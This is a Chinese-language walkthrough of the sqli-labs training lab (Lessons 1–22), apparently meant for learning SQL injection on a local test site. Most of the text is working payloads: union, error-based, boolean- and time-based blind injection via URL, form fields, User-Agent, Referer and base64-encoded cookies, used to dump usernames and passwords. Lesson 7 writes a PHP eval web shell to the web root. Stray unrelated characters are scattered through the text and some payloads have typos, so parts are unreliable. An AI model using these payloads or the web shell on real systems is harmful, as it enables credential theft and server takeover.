http://127.0.0.1/sqli-labs-master
淺析MySQL中concat以及group_concat的使用满败;
mysql中group_concat函數(shù)用法;
concat和concat_ws()區(qū)別及MySQL的幾個實用字符串函數(shù)
user():返回當前數(shù)據(jù)庫連接使用的用戶
database():返回當前數(shù)據(jù)庫連接使用的數(shù)據(jù)庫
version():返回當前數(shù)據(jù)庫的版本
一阁吝、http://127.0.0.1/sqli-labs-master/Less-1/?id=1
1.手工UNION聯(lián)合查詢注入
輸入單引號湖员,頁面報錯智哀,信息為''1'' LIMIT 0,1'留美,如下圖所示
根據(jù)報錯信息,可以確定輸入?yún)?shù)的內容被存放到一對單引號中間奏司,猜測咱們輸入的1在數(shù)據(jù)庫中出現(xiàn)的位置為:select ... from ... where id=’1’ ......乔询,多余的步驟不多說了,直接開始爆數(shù)據(jù)吧韵洋。
爆表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列(字段):
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+
2竿刁、手工報錯型注入
爆表:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列(字段):
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1
輸入單引號搪缨,根據(jù)報錯信息確定咱們輸入的內容被原封不動的帶入到數(shù)據(jù)庫中食拜,也可叫做數(shù)字型注入,把第一題中id=1后面的單引號去掉副编,其它保持不變就行了负甸,不再重復了......
三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1
輸入單引號痹届,根據(jù)報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了呻待,腦補一下咱們輸入1在數(shù)據(jù)庫語句中的位置,形如select ... from ... where id=(‘1’) ...队腐,在第一題中id=1‘的后面單引號加上)蚕捉,其它保持不變就行了,不再重復了......
四柴淘、http://127.0.0.1/sqli-labs-master/Less-4/?id=1
輸入單引號迫淹,頁面無任何變化,嘗試輸入雙引號为严,頁面報錯敛熬,根據(jù)報錯信息判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,腦補一下:select ... from ... where id=(”1”) ...第股,把第一題中1后面的引號換成雙引號加)就可以了......
MYSQL注入天書之盲注講解
0x7365637572697479=security的16進制荸型,因為table_schema='security'需要用單引號,因為大部分Web應用程序防火墻都過濾了單引號,而轉化為16進制之后就可以突破很多防火墻及防注入程序瑞妇。
mysql的數(shù)據(jù)庫information_schema,他是系統(tǒng)數(shù)據(jù)庫梭冠,安裝完就有辕狰,記錄是當前數(shù)據(jù)庫的數(shù)據(jù)庫,表控漠,列蔓倍,用戶權限等信息,下面說一下常用的幾個表
SCHEMATA表:儲存mysql所有數(shù)據(jù)庫的基本信息盐捷,包括數(shù)據(jù)庫名偶翅,編碼類型路徑等,show databases的結果取之此表碉渡。
TABLES表:儲存mysql中的表信息聚谁,(當然也有數(shù)據(jù)庫名這一列,這樣才能找到哪個數(shù)據(jù)庫有哪些表嘛)包括這個表是基本表還是系統(tǒng)表滞诺,數(shù)據(jù)庫的引擎是什么形导,表有多少行,創(chuàng)建時間习霹,最后更新時間等朵耕。show tables from schemaname的結果取之此表
COLUMNS表:提供了表中的列信息,(當然也有數(shù)據(jù)庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息淋叶,包括該列是那個表中的第幾列阎曹,列的數(shù)據(jù)類型,列的編碼類型煞檩,列的權限处嫌,獵德注釋等。是show columns from schemaname.tablename的結果取之此表形娇。
Mysql數(shù)據(jù)庫information_schema系統(tǒng)表說明
五锰霜、http://127.0.0.1/sqli-labs-master/Less-5/?id=1
使用報錯注入:爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
爆列:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,( select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
爆值:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a--+
xpath函數(shù)報錯注入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1
把上一題的單引號換成雙引號即可......
七桐早、http://127.0.0.1/sqli-labs-master/Less-7/?id=1
本關的標題是dump into outfile,意思是本關我們利用文件導入的方式進行注入癣缅。使用此漏洞需要知道WEB程序的根路徑并且MYSQL的secure-file-priv配置應為可寫入該路徑
這里首先還是回到源代碼中去。重點放在對id參數(shù)的處理和sql語句上哄酝,從源代碼中可以看到sql="SELECT?FROMusersWHEREid=((′id')) LIMIT 0,1";
這里對id參數(shù)進行了 '))的處理友存。所以我們其實可以嘗試')) or 1=1--+進行注入
http://127.0.0.1/sqllib/Less-7/?id=1')) or 1=1--+
那我們這里利用上述提到的文件導入的方式進行演示:
@@datadir 讀取數(shù)據(jù)庫路徑
@@basedir MYSQL 獲取安裝路徑
這里可以通過在less1中獲取網站的路徑
導入http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:\phpstudy\WWW\sqli-labs-master\Less-7\muma.php' --+
這時雖然報錯,但可以看到文件已經生成
那么可以直接上菜刀了
八陶衅、http://127.0.0.1/sqli-labs-master/Less-8/?id=1
沒有任何提示屡立,因為它把錯誤信息隱藏了,所以并不能用顯錯式注入搀军,只能用盲注膨俐。
盲注需要掌握一些MySQL的相關函數(shù):
length(str):返回str字符串的長度勇皇。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的焚刺,不是數(shù)組的0開始
mid(str,pos,len):跟上面的一樣敛摘,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上乳愉,返回ascii碼
if(a,b,c) :a為條件兄淫,a為true,返回b蔓姚,否則返回c捕虽,如if(1>2,1,0),返回0
首先要記得常見的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查詢數(shù)據(jù)庫
ascii(substr((select database()),1,1)):返回數(shù)據(jù)庫名稱的第一個字母,轉化為ascii碼
ascii(substr((select database()),1,1))>64:ascii大于64就返回true坡脐,if就返回1泄私,否則返回0
首先要記得常見的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查詢數(shù)據(jù)庫
ascii(substr((select database()),1,1)):返回數(shù)據(jù)庫名稱的第一個字母,轉化為ascii碼
ascii(substr((select database()),1,1))>64:ascii大于64就返回true挨措,if就返回1挖滤,否則返回0
-
http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者這樣就簡單一點 - http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23
為什么這里是布爾型盲注呢,因為這里沒把數(shù)據(jù)輸出浅役,只是$row有數(shù)據(jù)和無數(shù)據(jù)的時候顯示的結果不一樣
猜測數(shù)據(jù)庫名字第一個字母:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 --+
大于114時返回正確
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 --+
這時錯誤斩松,說明ascii應該為115,即s,再接著推測第二個觉既,然后可判斷應該為security數(shù)據(jù)庫惧盹,然后依次推出其他數(shù)據(jù),比較麻煩瞪讼。
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left(database(),1)='s' --+
返回正確钧椰,可確定第一個字母為s.
猜數(shù)據(jù)庫名第一個字母具體過程,使用二分法
1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正確符欠,大于64
1.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正確嫡霞,大于96
2.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正確,小于123 希柿,區(qū)間在97-122
3.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正確诊沪,大于109,區(qū)間在110-122
4.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回錯誤曾撤,所以在110-116之間
5.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正確端姚,大于112,區(qū)間在113-116之間
6.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正確挤悉,大于114渐裸,間在115-116之間
7.http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回錯誤,不大于115,即第一個字母的ascii為115昏鹃,即字母s
盲注過程是漫長的尚氛,一般是自己寫腳本或使用工具輔助
less 9 GET - Blind - Time based. - Single Quotes (基于時間的GET單引號盲注)
判斷為單引號基于時間的注入
判斷數(shù)據(jù)庫名的第一個字母為s(ascii為115),判斷錯誤的話是暫停5秒
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),1,1))=115,1,sleep(5)) --+
第一位為s
同樣:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(databse(),2,1))=101,1,sleep(5)) --+
第二位為e
以此類推洞渤,數(shù)據(jù)庫名字為security
猜測security數(shù)據(jù)表
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5)) --+
猜測數(shù)據(jù)表第一位為e,..以此類推怠褐,得到emails
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5)) --+
猜測數(shù)據(jù)表第一位為r,..以此類推,得到referers
..
同樣方法獲取其他表
猜測users列
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_column from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+
猜測第一個字符為i您宪,依次推測出id,username,password
猜測username值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select username from users limit 0,1),1,1))=68,1,sleep(5)) --+
猜測第一行的第一位,依次類推
less 10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)
把上面的改成雙引號就行
十一奠涌、 http://127.0.0.1/sqli-labs-master/Less-11/
這一關為post注入宪巨,post就是數(shù)據(jù)從客戶端提交到服務器端,例如我們在登錄過程中溜畅,輸入用戶名和密碼捏卓,然后以表單的形式提交到服務器后在進行驗證。這就是Post過程慈格。
輸入用戶名密碼都為為admin' 怠晴,然后報錯
從錯誤中分析到程序對參數(shù)進行單引號處理
然后輸入: admin' or'1'='1#或'or 1=1#,密碼隨意。
然后返回結果正確浴捆,原理是因為當我們提交username和password后臺形成的sql語句為
@$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1' #and password='$passwd' LIMIT 0,1";
后注釋掉了蒜田,or1=1恒成立,所以語句成立选泻,返回結果正確冲粤。
然后用union 注入進行嘗試:
用戶名:1admin' union select 1,database()#或uname=' union select 1,database()#&passwd=1
密碼隨意
可以看到數(shù)據(jù)庫為security
LESS-12
本關和11類似,在id參數(shù)的處理上有一定不同
先隨便輸入
用戶:admin"
密碼:隨意
看會報什么錯页眯?
可知這里的id進行了(“id”)的處理梯捕,
然后方法同上一題一樣
LESS-13
輸入
username:admin'
password:隨意
然后發(fā)現(xiàn)報錯:
發(fā)現(xiàn)對id進行了')的處理。
然后輸入用戶名(密碼隨意)admin')會發(fā)現(xiàn)沒有登錄信息了窝撵。
這里用下布爾類型的盲注傀顾。
猜測數(shù)據(jù)庫第一位:postdata中輸入:
uname=')or 1=1 and left(database(),1)>'a'#&passwd=1
返回結果正確,依次對每一位猜測碌奉,像之前的
題目一樣短曾,可以用二分法,降低嘗試次數(shù)道批。
LESS-14
直接輸入admin",密碼隨意错英,查看報錯情況
可知對id進行了" 的操作
和上題一樣主要熟悉利用盲注
uname="or 1=1and left(database(),1)>'a'#&passwd=1或uname=admin"and left(database(),1)>'a'#&passwd=1
可以登陸成功
再利用一下報錯注入
uname="or 1=1 and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1
可以看到報錯,顯示版本信息隆豹。
爆表:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&passwd=1
爆列:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#&passwd=1
爆值:
uname="or 1=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))#&passwd=1
LESS-15
本關沒有錯誤提示椭岩,只能靠猜測注入。先從源代碼中看到了
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
然后對id處理,使用延時注入
正確的時候直接登錄判哥,不正確的時候延時
猜測數(shù)據(jù)庫第一位:
uname='or 1=1 and if(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=1
返回成功献雅,然后像之前的題目一樣構造
LESS-16
和15一樣,使用延時注入塌计,從源代碼中可以看到對id進行("id")處理其他與15一樣
LESS-17
本關可以看到是一個修改密碼的過程挺身,利用update語句,與在用 select 時是一樣的
嘗試報錯:
用戶名:admin
密碼:1'
說明對密碼的處理是' '
然后盲注
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
可以看到報錯信息锌仅,然后就可以像前面題目一樣構造章钾。
LESS-18
本關由源代碼可知對uname和passwd進行了check——input() 函數(shù)的處理,所以直接進行注入是不行的热芹,但是在代碼中可以的看到
$insert="INSERT INTO security
.uagents
(uagent
, ip_address
, username
) VALUES ('$uagent', '$IP', $uname)";
將useragent 和ip 插入到數(shù)據(jù)庫中贱傀,可以修改useragent進行注入,使用ip不太方便伊脓,我們隨便輸入用戶密碼發(fā)現(xiàn)沒什么反應府寒,然后抓包修改useragent
首先正常登陸后我們可以看到:
uname=admin1&passwd=admin1是用戶名密碼提交的登錄數(shù)據(jù),
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)# 是我們修改的useragent數(shù)據(jù)
然后成功的爆出庫名报腔;
爆表:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1
爆列:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' limit 0,1),0x7e),1),1,1)#或extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))and '1'='1
爆值:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#
或Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) and '1'='1
查版本:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0 1' AND extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1
也可用burpsuite抓包修改株搔,方法一樣。
LESS-19
登陸之后我們可以看出是對referers進行注入
然后抓包修改
http://127.0.0.1/sqli-labs-master/Less-19/1' AND extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1
這里獲取了mysql路徑纯蛾,方法同18一樣纤房,其他自行構造。
LESS-20
從源代碼中我們可以看到cookie從username獲得值之后茅撞,當再次刷新時會從cookie中獲取username,然后進行查詢帆卓。
登陸成功后,我們修改cookie米丘,再次刷新時剑令,這時sql語句就會被修改了。
這是登陸后的界面拄查。
然后利用burp抓包修改cookie
Cookie:uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
這里我們注入查看mysql路徑吁津。
可以看到路徑信息,說明注入成功堕扶,其他構造方法同18一樣碍脏。
LESS-21
本關對cookie進行了base64的處理,其他同less20一樣稍算。
抓包后修改cookie典尾,將admin'進行base64編碼后修改然后報錯
發(fā)現(xiàn)對uname進行了('uname')的處理.
base64編碼處理:admin1') and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# = YWRtaW4xJykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEBiYXNlZGlyKSwweDdlKSkj
已經成功查出mysql路徑,同樣方法構造爆出其他內容糊探,同上題方法一樣
LESS-22
本關和20钾埂、21是一致的河闰,我們可以從源代碼中看到對uame進行了"uname"的處理,可以構造payload:
admin1" and extractvalue(1,concat(0x7e,(select database()),0x7e))# = YWRtaW4xIiBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSkj
其他同上